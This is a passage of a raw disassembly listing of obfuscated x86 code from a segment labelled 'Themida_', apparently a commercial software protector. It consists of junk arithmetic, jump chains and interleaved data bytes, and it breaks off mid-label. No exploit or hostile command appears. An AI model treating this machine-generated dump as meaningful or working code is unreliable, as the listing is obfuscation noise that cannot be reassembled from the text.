Themida_:0054A8AEj add esp, 4 xchg ebp, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 jmp loc_54944C ; --------------------------------------------------------------------------- aGsF db 'GéÝ”',0 align 4 dd 5FF83166h, 0FFC8E957h, 0A925FFFFh, 512DE921h, 145F51B9h dd 81D9F725h, 83916AE9h, 0EF2E96Fh, 0C6310000h, 582434FFh dd 0E11E955h, 34FF0000h, 0C4835B24h, 50DDF604h, 0C50069B0h dd 8324048Bh, 0E83004C4h, 592434FFh, 4EC81h, 34890000h dd 81E68924h, 4C6h, 4C68300h, 8B243487h, 0AE682424h, 89000013h dd 0CFE92414h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54651B: ; CODE XREF: Themida_:005501BCj sub edx, 28281CBEh add edx, 208D74E0h add edx, 539A71A9h shr edx, 5 push edx jmp loc_54DCDA ; --------------------------------------------------------------------------- loc_546536: ; CODE XREF: Themida_:005479B0j xchg eax, ecx xor ecx, esi jmp loc_54CF25 ; --------------------------------------------------------------------------- dw 32FFh dd 0FFFAF9E9h, 4EB83FFh, 5C241C87h, 0E9242C89h, 0EDBh dd 98094EB9h, 2E9C119h, 3EE4E9h, 2434FF00h, 306EE9h db 0 ; --------------------------------------------------------------------------- loc_546569: ; CODE XREF: Themida_:0054A76Ej push edi push 4F32h mov [esp], ebx mov ebx, 19E52736h mov edi, 0FE601FCDh add edi, ebx mov ebx, [esp] add esp, 4 add edi, 11C4316Ah inc edi push ebp mov ebp, 33A5778Ah xor edi, ebp pop ebp add edi, 0E653F01Dh and eax, edi jmp loc_546BC7 ; --------------------------------------------------------------------------- loc_5465A4: ; CODE XREF: Themida_:0054D060j pop eax or eax, 6C9B6842h add eax, 3E0456CBh mov ecx, eax jmp loc_549E92 ; --------------------------------------------------------------------------- dw 0C483h dd 24048F04h, 2CEAE95Ch, 8B660000h, 0E2E92404h, 8B000033h dd 0C481241Ch, 4, 2474FF50h, 24048B04h, 58CEE9h, 0BF575100h dd 6C67179Bh, 0AD78F8B9h, 0E9F929C4h, 1B54h, 0C09FE380h dd 506602E3h, 0E308B8B4h, 1021E9h db 0 ; --------------------------------------------------------------------------- loc_546605: ; CODE XREF: Themida_:00548B71j mov [esp], edi push esp pop edi push ebx mov ebx, 4 jmp loc_54FAFE ; --------------------------------------------------------------------------- db 59h, 2Dh, 4 dd 120D415h, 150405C8h, 535220D4h, 472CE9h db 0 ; --------------------------------------------------------------------------- loc_546629: ; CODE XREF: Themida_:0054AED2j push ebx mov ebx, 2 add edx, ebx pop ebx xor edx, [esp] jmp loc_54CDCF ; --------------------------------------------------------------------------- dw 20BDh dd 816DB959h, 0DA148BF5h, 36C2E925h, 86B80000h, 0F7115B6Bh dd 42D0E9D0h, 70BD0000h, 0E961207Eh, 335Ch, 0EF80D7B2h dd 80D728A2h, 5A66A2C7h, 0C7FED7F6h, 0D076C780h, 0E08950EFh dd 405h, 4E88300h, 81FFE9h db 0 ; --------------------------------------------------------------------------- loc_546685: ; CODE XREF: Themida_:0054CD99j mov [esp], ebp push edi jmp loc_54FD9C ; --------------------------------------------------------------------------- loc_54668E: ; CODE XREF: Themida_:0054F79Bj push eax jmp loc_549EF8 ; --------------------------------------------------------------------------- loc_546694: ; CODE XREF: Themida_:005492A7j mov eax, 1Ch add eax, edi jmp loc_551F4A ; --------------------------------------------------------------------------- dd 35045B58h, 4664E9h, 0FC00900h, 4C2A84h, 0FEBA5200h dd 21000000h, 148B1C57h, 66406824h, 1C890000h, 0A0E95424h dd 660000B7h, 0E9240C89h, 7E17h, 42474FFh, 759DE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5466DE: ; CODE XREF: Themida_:0054E0B7j mov ebx, 50212D9Fh add esi, ebx pop ebx shr esi, 6 push edx mov edx, 40FB4B92h sub edx, 2FDF9CC8h add esi, edx pop edx add edx, esi pop esi mov ebx, edx pop edx add ebx, edi mov ecx, [ebx] push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push edi push 37CCh jmp loc_5475FD ; --------------------------------------------------------------------------- loc_546719: ; CODE XREF: Themida_:005467E3j xor ebp, 0FCC8EC03h jmp loc_550227 ; --------------------------------------------------------------------------- dd 4B8h, 8BC30100h, 0C4832404h, 4EB8104h, 53000000h, 42474FFh dd 24048F5Bh, 240C895Ch, 28B9h, 7AC18100h, 169BF7Dh, 7AB850F9h dd 2969BF7Dh, 198858C1h, 241C8B59h, 4C481h, 0D3E90000h dd 66FFFFF8h, 6824048Bh, 75CAh, 0E9240489h, 3EA0h, 42474FFh dd 24048F5Eh, 0B6BDE9h, 0BE565300h, 4B7D4E0Dh, 18C8EE81h dd 0F3890C1Eh, 0E3C3815Eh, 29C87F31h, 0F2815BDAh, 16BAFA83h dd 5AE9D589h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5467AF: ; CODE XREF: Themida_:005507EBj push 54C5h jmp loc_54E056 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C4h dd 4, 4C281h, 0E9530000h, 4F94h, 4384E9ACh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5467D2: ; CODE XREF: Themida_:005490A0j add ecx, 1 dec ecx jmp loc_54A818 ; --------------------------------------------------------------------------- loc_5467DE: ; CODE XREF: Themida_:0054A233j shr ebp, 5 neg ebp jmp loc_546719 ; --------------------------------------------------------------------------- loc_5467E8: ; CODE XREF: Themida_:0054B968j sub esi, 4F2E5A81h xor edx, esi pop esi and eax, edx mov edx, [esp] add esp, 4 jmp loc_54E6C4 ; --------------------------------------------------------------------------- db 57h, 0BFh, 56h dd 813D4746h, 0DA5FD5F7h, 81E7D10Ch, 3A3302EFh, 0B1BEE963h dd 34FF0000h, 48F3E924h, 1C330000h, 24248B24h, 4AB0F66h dd 0BE99C24h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546833: ; CODE XREF: Themida_:00549F86j push ecx jmp loc_550975 ; --------------------------------------------------------------------------- aAiSt db '³Í€ë\ét',1Bh,0 dw 5A00h aXsva db 'Xé‚',0 align 2 aHb db 'h',9,0 dw 8900h dd 0EC832414h, 10A2E904h, 34FF0000h, 47E95824h, 810000AAh dd 9BC0F0F2h, 5AD70185h, 4B850h, 0C7010000h, 0A333E9h db 0 ; --------------------------------------------------------------------------- loc_546879: ; CODE XREF: Themida_:0055239Ej push ebx jmp loc_5483AB ; --------------------------------------------------------------------------- db 81h dd 2504C9EEh, 7DBCE923h, 1660000h, 0C38166C3h, 816622BBh dd 5605EFEBh, 75686650h, 6658660Eh, 66013935h, 66214905h dd 6658C689h, 2E77F681h, 7CF68166h, 0F6816634h, 16601F0h dd 0B70F5EF3h, 0E18951C0h, 4BD55h, 0E9010000h, 4E9835Dh dd 5C240C87h, 89240C89h, 4C181E1h, 50000000h, 37E9E9h dd 5FFB8900h, 1E97C381h, 0DF317229h, 0E9DFF75Bh, 13D6h dd 835BDE01h, 72E904EEh, 0C1000060h, 0F74008E0h, 0FFC083D0h dd 0D907BF57h, 1F055C20h, 1385115h, 5DE953F8h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_54691F: ; CODE XREF: Themida_:0054C40Cj add esp, 4 push dword ptr [esp] pop edi push ebx mov ebx, esp add ebx, 4 jmp loc_546AF2 ; --------------------------------------------------------------------------- loc_546934: ; CODE XREF: Themida_:00548AA2j add esp, 4 jmp loc_54C485 ; --------------------------------------------------------------------------- db 0BDh dd 7B7B290Fh, 4246C01h, 242C815Dh, 43AA3C30h, 30242C81h dd 811EB665h, 74CB242Ch, 4016DD6h, 24048124h, 6DD674CBh dd 30240481h, 511EB665h, 0AA3C30B9h, 244C0143h, 2C815904h dd 7B290F24h, 0BF57507Bh, 610D4313h, 0B75BE957h, 0C1810000h dd 2B8E5E65h, 8B66E9h, 52EB8100h, 8154C67Bh, 583109EBh dd 70E0E94Ch, 0E9500000h, 51BEh, 0C004E5C0h, 0EDC006EDh dd 6BCD8008h, 872ED80h, 9AE959EEh db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5469C7: ; CODE XREF: Themida_:00551B79j push 5DE5h mov [esp], ecx push edx mov edx, 0E6159E4h jmp loc_54E620 ; --------------------------------------------------------------------------- dw 0B753h dd 2EC8184h, 0E9000000h, 387Fh, 835BDE01h, 0C4E902C6h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5469F3: ; CODE XREF: Themida_:0054E1E6j mov eax, esi jmp loc_5506CE ; --------------------------------------------------------------------------- dw 166h dd 3C2D66D8h, 3E2D666Fh, 0C9056604h, 37996815h, 0C6E90000h dd 66000018h, 55F3EF81h, 1C7EE9h, 24248B00h, 24BB53h, 0EE810000h dd 7B5D13C2h, 1B99B850h, 0D52D1ACFh, 29DC42EAh, 24048BC6h dd 5504C483h, 3204BB53h, 0E3C12D09h, 81D3F703h, 0A7005FEBh dd 5BDD8989h, 0B50EE9h, 242C3300h, 0AABAE95Ch, 63680000h dd 89000058h, 4832424h, 0E9590424h, 3021h, 6866CEFEh, 896630B5h dd 0FFB1240Ch, 5966CE28h, 0E6C0D6F6h, 0F6E68002h, 514DEE80h dd 88F48850h, 3AE958E1h, 29000016h, 2434FFE8h, 4C4815Dh dd 51000000h, 0DD41A468h, 53BE922h, 0C1830000h, 7AEBE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546ABA: ; CODE XREF: Themida_:0054C2F0j mov [esp], ebx mov ebx, 27297AD6h mov edx, 0D8D6852Bh push ebp mov ebp, 75E403B9h add ebp, 64442FD8h push 0 jmp loc_547247 ; --------------------------------------------------------------------------- loc_546ADD: ; CODE XREF: Themida_:0054CD44j xchg edx, [esp] pop esp mov [esp], eax jmp loc_547578 ; --------------------------------------------------------------------------- db 31h, 0F1h, 31h dd 0F6FBE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546AF2: ; CODE XREF: Themida_:0054692Fj add ebx, 4 xchg ebx, [esp] pop esp and ebx, eax push dword ptr [esp] pop eax add esp, 4 or ebx, ebx jnz loc_54B4CB push ecx push esp jmp loc_54D7E1 ; --------------------------------------------------------------------------- dd 0E932FF64h, 0FFFFF522h ; --------------------------------------------------------------------------- loc_546B1C: ; CODE XREF: Themida_:0054A921j pop edi sub esp, 4 jmp loc_54E753 ; --------------------------------------------------------------------------- dd 0EFC38166h, 160FE905h, 0FF500000h, 58042474h, 5C24048Fh dd 9C240CFEh, 0FFF4F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_546B45: ; CODE XREF: Themida_:00550C97j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_54C016 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0EDh dd 0E965AC01h, 3DA0h, 0BC2F381h, 0DF016880h, 2B9515Bh dd 1000000h, 240C8BCFh, 88D1E9h db 0 ; --------------------------------------------------------------------------- loc_546B75: ; CODE XREF: Themida_:0054DF4Bj mov esp, [esp] jmp loc_54AF58 ; --------------------------------------------------------------------------- db 5Ch, 89h, 0Ch dd 2474FF24h, 240C8B04h, 8F04C483h, 0ABE92404h, 68FFFFF4h dd 5B68h, 8904EC83h, 4812424h, 424h, 2E6E900h, 0C4810000h dd 4, 830BB53h, 0C3816A9Fh, 5FDA2AA1h, 4065E381h, 0E9E92B80h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BC7: ; CODE XREF: Themida_:0054659Fj push dword ptr [esp] pop edi sub esp, 4 jmp loc_5470C8 ; --------------------------------------------------------------------------- dw 0CB00h aFyaT db 'fY€Ã’',0 dw 80C3h dd 0EB8092EBh, 57B15177h, 8003E9C0h, 0E9C0FFC1h, 1BE98008h dd 0B252D1F6h, 5AD10078h, 9C41E9h, 0F0315800h, 0E924348Bh dd 926h, 24048B66h, 815A5452h, 4ECh, 240C8900h, 0CE9BE56h dd 0E9517FE7h, 2C96h ; --------------------------------------------------------------------------- loc_546C28: ; CODE XREF: Themida_:00547ACEj mov esi, 761C639Dh mov ecx, esi pop esi jmp loc_54E1EB ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 5204C483h, 0E9EB8953h, 0B2C7h, 5C14B951h, 19E960A5h dd 2C00005Fh, 0E9F00056h, 82D6h, 405h, 54C1E900h, 2C870000h dd 22B6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546C6A: ; CODE XREF: Themida_:00547B7Cj xor ah, 75h and ah, 0EBh inc ah shr ah, 5 jmp loc_547DAF ; --------------------------------------------------------------------------- dw 0CB81h dd 26692E87h, 6C36EB81h, 0DD89FFE6h, 0A0D4E9h, 0E9DBF700h dd 1144h, 240C8B66h, 3FF768h, 240C8900h, 3ECEE9h, 240C8700h dd 20D3E95Ch, 685F0000h, 5601h, 57240C89h, 0F20D58BFh dd 4EFC156h, 0DEEF814Fh, 0E92CF341h, 4641h ; --------------------------------------------------------------------------- loc_546CCC: ; CODE XREF: Themida_:0054E46Ej sub ebp, 6DBB1238h add ebp, edi add ebp, 6DBB1238h mov edi, [esp] push esi jmp loc_54D0E4 ; --------------------------------------------------------------------------- db 5Bh dd 0FFF495E9h, 24148BFFh, 4EC8350h, 83242489h, 58042404h dd 5F83E953h, 4890000h, 33E95224h, 810000A9h, 4C1h, 5DEBE900h dd 48B0000h, 0E7895724h, 4C781h, 0E9520000h, 52AEh ; --------------------------------------------------------------------------- loc_546D24: ; CODE XREF: Themida_:00551023j sub edi, 4 xchg edi, [esp] jmp loc_548AFC ; --------------------------------------------------------------------------- dw 0D0BEh dd 8954D77Ah, 6B99E9F5h, 51500000h, 911388B9h, 28BA526Ch dd 81217660h, 7D6713C2h, 3BC2813Ch, 0C164CB78h, 0DAF708E2h dd 0A9FEA81h, 0EA8135D3h, 0F4B9188Fh, 0F75AD109h, 4E1C1D1h dd 5106E1C1h, 0E92414F7h, 7C63h, 51151FBBh, 7ED0E938h dd 0E9520000h, 9FE6h ; --------------------------------------------------------------------------- loc_546D8C: ; CODE XREF: Themida_:00550FD1j jmp loc_54603E ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 7D8A42BAh sub esp, 4 jmp loc_54A1B4 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 5C243487h, 8B24048Fh, 0F9F72424h, 345D68h, 24148900h dd 5FE99C50h, 5FFFFF2h, 5EF32386h, 6850515Dh, 724C1BBDh dd 0E924048Bh, 9B30h ; --------------------------------------------------------------------------- loc_546DF4: ; CODE XREF: Themida_:0054F587j push 35E2h jmp loc_54EE5F ; --------------------------------------------------------------------------- loc_546DFE: ; CODE XREF: Themida_:0055228Dj mov [esp], edx jmp loc_54B0FB ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 57240489h, 2F63E9h db 0 ; --------------------------------------------------------------------------- loc_546E19: ; CODE XREF: Themida_:00550BD7j xor ebp, eax pop eax xor ebp, 5DB4D07h dec ebp or ebp, 659D3BFDh sub ebp, 0CB214FCh mov ecx, ebp pop ebp xor ecx, 3F4C0A74h not ecx shl ecx, 7 sub ecx, 0DA673635h jmp loc_54856F ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 0A320E900h, 50580000h, 405E089h, 5000000h dd 4, 0E9240487h, 6A5h, 9D1C77FFh, 11665866h, 0E99C2404h dd 0FFFFF1C2h, 56D831ADh, 1E16AFBEh, 90E68126h, 0E97CD75Eh dd 4524h, 8124048Fh, 42404h, 48F0000h, 24048324h, 20E3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546EA6: ; CODE XREF: Themida_:00551E82j dec cl xor cl, 80h jmp loc_54CBDD ; --------------------------------------------------------------------------- loc_546EB0: ; CODE XREF: Themida_:005497DDj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 4F017B02h sub esp, 4 jmp loc_550C9C ; --------------------------------------------------------------------------- aPhac db 'Phíc',0 align 2 aISo_ db '‰$$éo.',0 align 2 loc_546EDE: ; CODE XREF: Themida_:00547A35j add ecx, edi jmp loc_54F8DE ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 6 dd 0FE44BE56h, 0F2290043h, 56C3E9h, 0A6F38100h, 1270B8Ah dd 241C8BD9h, 0E904C483h, 0A9C6h, 21B1C181h, 0E1D12C11h dd 106AC181h, 0CD019803h, 2C58359h, 8904EC83h, 74FF242Ch dd 8F5D0424h, 248B2404h, 0A891E924h, 6680000h, 0E9000054h dd 3BABh, 0C681E689h, 4, 81E68956h, 4C6h, 4EE8100h, 0E9000000h dd 6184h ; --------------------------------------------------------------------------- loc_546F58: ; CODE XREF: Themida_:0054A825j dec eax sub eax, 6FA71A8h or eax, 72417439h add eax, 928779FDh jmp loc_550832 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 30E3E9h, 2434FF00h, 0E92434FFh, 419Bh, 8B243C33h, 18682424h dd 89000064h, 0ABE92404h, 68FFFFF0h, 73783422h, 57BB5358h dd 21746941h, 241C8BD8h, 4C481h, 9AE90000h, 89000028h dd 26BB53E7h, 55557974h, 4304F1BDh, 79E58136h, 0E9024C1Bh dd 3C0Ah, 0A015C181h, 0CA295E68h, 7599E9h, 80C32800h, 685267EBh dd 13BAh, 0B0240489h, 84B551EFh, 933BE9h, 240C8B00h, 6B3EE9h dd 0A3E95300h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_546FFB: ; CODE XREF: Themida_:00549422j mov ch, 24h xor ch, bl pop ebx add bl, ch mov cx, [esp] add esp, 2 jmp loc_551303 ; --------------------------------------------------------------------------- align 2 dw 4D8h aIhuv db 'Ihžv',0 align 2 dw 1C89h aSn db '$éN<',0 align 2 loc_547022: ; CODE XREF: Themida_:0054C115j push esi push dword ptr [esp+4] jmp loc_54C8C9 ; --------------------------------------------------------------------------- dd 575FF801h, 2AEABE56h, 2FBF0957h, 315A571Fh, 0E7C15EF7h dd 30B95102h, 0E96B7F72h, 1C17h, 0E904C483h, 323Ah, 4C481h dd 0C3310000h, 3D826851h, 34890000h, 0B175E924h, 0E7810000h dd 2B4808A4h, 8A0F781h, 0FA012B48h, 7011E9h, 47C18100h dd 5D189E58h, 4B850h, 0CDE90000h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54708F: ; CODE XREF: Themida_:0054FBABj add esp, 4 pop dword ptr [esp] pop esp imul cl movzx cx, ah push small 658Eh jmp loc_54EBF3 ; --------------------------------------------------------------------------- dd 4C281h, 0B8500000h, 4, 0E8E9C229h, 68000065h, 0F2Eh dd 0E9242489h, 315h ; --------------------------------------------------------------------------- loc_5470C8: ; CODE XREF: Themida_:00546BD1j mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_549009 ; --------------------------------------------------------------------------- aSo db '[éO!',0 align 10h dd 42474FFh, 6824048Bh, 1B4Eh, 89241489h, 0BE5657E2h, 0EC005B0h dd 0C005B4BFh, 5EF7310Eh, 5123C281h, 0FA01414Eh, 5123EA81h dd 0E95F414Eh, 246Eh, 8324048Bh, 2C8704C4h, 4895C24h, 5531B824h dd 1050DE7h, 35000000h, 0DE75536h, 48BC201h, 7EA1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54713A: ; CODE XREF: Themida_:0054EA2Bj xchg esi, [esp] jmp loc_54D1F3 ; --------------------------------------------------------------------------- loc_547142: ; CODE XREF: Themida_:0054FDFEj push esp jmp loc_548ECD ; --------------------------------------------------------------------------- loc_547148: ; CODE XREF: Themida_:0054F4FAj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 sub esp, 4 mov [esp], eax mov eax, 4 add edi, eax pop eax jmp loc_54FE45 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h aRtzsg db 'RTZé£,',0 align 4 dd 1EDA6855h, 0CEE90000h, 5E000006h, 815FFD29h, 0AF7D45C5h dd 81DD016Dh, 0AF7D45EDh, 0AC5816Dh, 5B1A0978h, 5C242C87h dd 0E9028864h, 1A9Ah, 241C875Ah, 6624248Bh, 9C240CD3h dd 0FFEE69E9h, 58EA81FFh, 0E9A24D8Dh, 2AD5h, 324168h, 240C8900h dd 0BE56E189h, 2D1B1016h, 940FE94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5471F6: ; CODE XREF: Themida_:0054D558j inc edi xor edi, 5B2B2A31h add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx jmp loc_54D87B ; --------------------------------------------------------------------------- db 51h dd 0E800D4B5h, 0F3B35359h, 0C004EBC0h, 0DBF603EBh, 0B151DBF6h dd 3E9C061h, 0FE05E980h, 3F1AE9C9h, 2D5E0000h, 499D5AF5h dd 8324348Bh, 48704C4h, 4285C24h, 0F7E99C24h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547247: ; CODE XREF: Themida_:00546AD8j sub dword ptr [esp], 48C73326h sub [esp], ebp add dword ptr [esp], 48C73326h pop ebp not ebp sub ebp, 9A001056h push ecx mov ecx, 7455488Bh not ecx sub ecx, 1A9B38A1h add edx, ecx jmp loc_54917A ; --------------------------------------------------------------------------- dw 0C381h dd 4, 31241C33h, 1C33241Ch, 24248B24h, 7868E1F7h, 89000065h dd 9C502414h, 0FFEDA5E9h, 41C381FFh, 8104D12Fh, 1234DBC3h dd 1627E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5472AA: ; CODE XREF: Themida_:0054EE76j pop eax neg eax push ebx mov ebx, 47D31BCFh or eax, ebx pop ebx xor eax, 3A974E9h xor eax, 0E625E266h or ecx, eax mov eax, [esp] add esp, 4 add ecx, 0D8448285h jmp loc_5524A9 ; --------------------------------------------------------------------------- dw 0F75Bh dd 0E9C281D2h, 0E9BE1044h, 781Dh, 0DEE96B34h, 89000022h dd 4C581E5h, 81000000h, 4C5h, 0F964E900h, 74FFFFFFh, 8F5A0424h dd 555C2404h, 2EE95053h, 0F7000039h, 0E2814AD2h, 47A45BE2h dd 0EA81D2F7h, 0B63CA751h, 85DEE9h, 0CCEB8100h, 891AE5CEh dd 0FE095BDFh, 55C6815Fh, 297574E0h, 0CD295EF1h, 242C8759h dd 8924248Bh, 0F3E92414h, 68FFFFECh, 4C54h, 0BB241C89h dd 3Ch, 0FFF63CE9h, 241C89FFh, 0D828EAB3h, 46CDE9h, 2434FF00h dd 5CC3E9h db 0 ; --------------------------------------------------------------------------- loc_547371: ; CODE XREF: Themida_:0055034Cj mov edi, 34972C60h sub edi, 4C6C28BBh shl edi, 8 jmp loc_551D98 ; --------------------------------------------------------------------------- loc_547384: ; CODE XREF: Themida_:00550B89j push 794Fh mov [esp], ebx add dword ptr [esp], 374400A9h mov eax, [esp] add esp, 4 push ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push eax mov eax, 374400A9h mov edi, eax jmp loc_54E4A2 ; --------------------------------------------------------------------------- aS_5 db 9,'Èé\=',0 dw 8900h dd 4C681E6h, 81000000h, 4C6h, 4EC8300h, 7BD7E9h, 24048300h dd 2434FF04h, 0FFF3D0E9h, 240433FFh, 9A4E9h db 0 ; --------------------------------------------------------------------------- loc_5473F1: ; CODE XREF: Themida_:00549EA0j pop ecx add esp, 4 sub ecx, 0D31FACBBh jmp loc_549912 ; --------------------------------------------------------------------------- db 31h dd 4332404h, 24248B24h, 24048B66h, 835E9h, 4C48100h, 81000000h dd 4C4h, 0E7895700h, 4C781h, 42E90000h, 89000016h, 9B2DE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547436: ; CODE XREF: Themida_:0054889Fj pop edi pop edx or esi, 0D4247Dh shl esi, 3 add esi, 36362FBAh jmp loc_548CC7 ; --------------------------------------------------------------------------- aKfr db '´ŠfR²¿',0 db 0D4h dd 0EC805A66h, 58E6309Fh, 28FBF680h, 24148BF0h, 3235E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54746A: ; CODE XREF: Themida_:00549208j push 5CD97F74h pop edx neg edx neg edx sub edx, 2AA84B2Eh jmp loc_54ABBE ; --------------------------------------------------------------------------- db 81h dd 0DE751BC7h, 4ED0E90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54748A: ; CODE XREF: Themida_:0054F689j xchg edx, ecx and ecx, 29083ACAh sub ecx, 0A658C8B6h and ebx, ecx jmp loc_550AFB ; --------------------------------------------------------------------------- loc_54749F: ; CODE XREF: Themida_:0054921Ej xor esi, [esp] pop esp jmp loc_54C547 ; --------------------------------------------------------------------------- loc_5474A8: ; CODE XREF: Themida_:0054F85Cj push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54C6A8 ; --------------------------------------------------------------------------- aM0Fsrusyt db '¬0ØfSRUéyt',0 align 4 dd 4A8BBA52h, 0E2817830h, 15B131D9h, 473EBD55h, 0EA29177Ch dd 0BFF2815Dh, 427D2879h, 0F379E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5474EA: ; CODE XREF: Themida_:00550C4Bj mov [esp], edi push ecx jmp loc_5460BE ; --------------------------------------------------------------------------- db 89h dd 4682404h, 8B000000h, 0C4812404h, 4, 97E9C701h, 5B000030h dd 37E3E9h, 17E95C00h, 81FFFFEEh, 4C4h, 148B6600h, 4EC8124h dd 89000000h, 0E0892404h, 0AC3CE956h, 0C4830000h, 36E96804h dd 32E90000h, 31000030h, 31CE31F1h, 0E68956F1h, 4C681h dd 0EE830000h, 24348704h, 0FFF624E9h, 53AD66FFh, 7E67BB66h dd 0B8665066h, 29663E08h, 665866C3h, 0D56AC381h, 0E9D82966h dd 588Ch ; --------------------------------------------------------------------------- loc_547578: ; CODE XREF: Themida_:00546AE4j mov eax, esp jmp loc_550903 ; --------------------------------------------------------------------------- aLSM db '‹$$éê¬',0 db 0 ; --------------------------------------------------------------------------- loc_547587: ; CODE XREF: Themida_:0054A72Aj sub eax, 4 xchg eax, [esp] jmp loc_54D616 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 16E92434h, 89000004h, 0B850240Ch, 72B026B6h dd 312C3F0Dh, 5DEE051Fh, 0D0F76188h, 672DE8D1h, 898FD4F6h dd 88EDE9C1h, 66640000h, 0E902B60Fh, 0A183h ; --------------------------------------------------------------------------- loc_5475CC: ; CODE XREF: Themida_:0054FDCFj pop esp loc_5475CD: ; CODE XREF: Themida_:loc_54C8E9j ; Themida_:loc_5523ADj push dword ptr [edi+24h] mov ecx, [esp] sub esp, 4 mov [esp], edx push esp jmp loc_549188 ; --------------------------------------------------------------------------- db 89h dd 4832424h, 5580424h, 4, 2BB53h, 0BF570000h, 337A03D0h dd 3D42E9h db 0 ; --------------------------------------------------------------------------- loc_5475FD: ; CODE XREF: Themida_:00546714j mov [esp], ebp jmp loc_551070 ; --------------------------------------------------------------------------- db 1, 0D8h, 2Dh dd 3292745Dh, 4055Bh, 4870000h, 23E95C24h, 81FFFFEAh, 4ECh dd 8812E900h, 58660000h, 0C0C1B551h, 0E58005E5h, 0E9EDD079h dd 249Fh, 56EA815Dh, 81669D64h, 2CEC8CF2h, 348152D3h, 93012424h dd 2E0FE93Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547652: ; CODE XREF: Themida_:00548EC8j add esi, ebp pop ebp push ebx mov ebx, 4 sub esi, ebx pop ebx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ecx push eax mov eax, 32326AE0h add eax, 241D07E6h or eax, 22BF3ABBh shl eax, 1 add eax, 12010A03h mov ecx, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 24h jmp loc_5476F8 ; --------------------------------------------------------------------------- dd 51EFD14Fh, 43F5E9h, 1CF75300h, 241C8B24h, 4C481h, 0B9510000h dd 30904h, 159CB01h, 50555BD9h, 0A964E9h, 415A6800h, 1C890000h dd 0ECE95424h, 8B000036h, 0C4832404h, 0FFFF0504h, 0FCE9FFFFh db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5476DF: ; CODE XREF: Themida_:00549AF2j and al, bl pop ebx jmp loc_54D6BE ; --------------------------------------------------------------------------- loc_5476E7: ; CODE XREF: Themida_:0054A695j push ebx jmp loc_548D12 ; --------------------------------------------------------------------------- db 68h, 4Fh, 34h dd 0E95F2302h, 7B80h ; --------------------------------------------------------------------------- loc_5476F8: ; CODE XREF: Themida_:00547693j add ebx, edi add [ebx], ecx pop ebx mov ecx, [esp] add esp, 4 loc_547706: ; CODE XREF: Themida_:0054A775j push 4489h mov [esp], ebx mov eax, [esp] push 215Ch mov [esp], eax mov eax, esp push edi mov edi, 4D566AE8h or edi, 501617EEh shr edi, 4 and edi, 67F66229h and edi, 7132659Bh neg edi jmp loc_54E898 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0D0280704h, 2807B252h, 0E6E95AD0h, 890000A6h, 0EDB82404h dd 120433Bh, 8B042444h, 0C4832404h, 0A98E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547766: ; CODE XREF: Themida_:00547B08j mov edi, 696A4520h neg edi and edi, 6D823E98h jmp loc_54816E ; --------------------------------------------------------------------------- dd 9462A6B9h, 7E9C11Eh, 544DC981h, 0F74965BCh, 1BB53D1h dd 1000000h, 3685BD9h, 89000052h, 68572414h, 202C0873h dd 8EFC15Fh, 0A8D6EF81h, 0CEE965DDh, 88000014h, 2434FFCCh dd 4C48359h, 48BE388h, 4C48324h, 0E924148Bh, 0FFFFF884h dd 405h, 7D3AE900h, 2C890000h, 56E58924h, 714D99BEh, 0D6F74E59h dd 7265E9h, 805B5A00h, 82E9ACEBh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5477EF: ; CODE XREF: 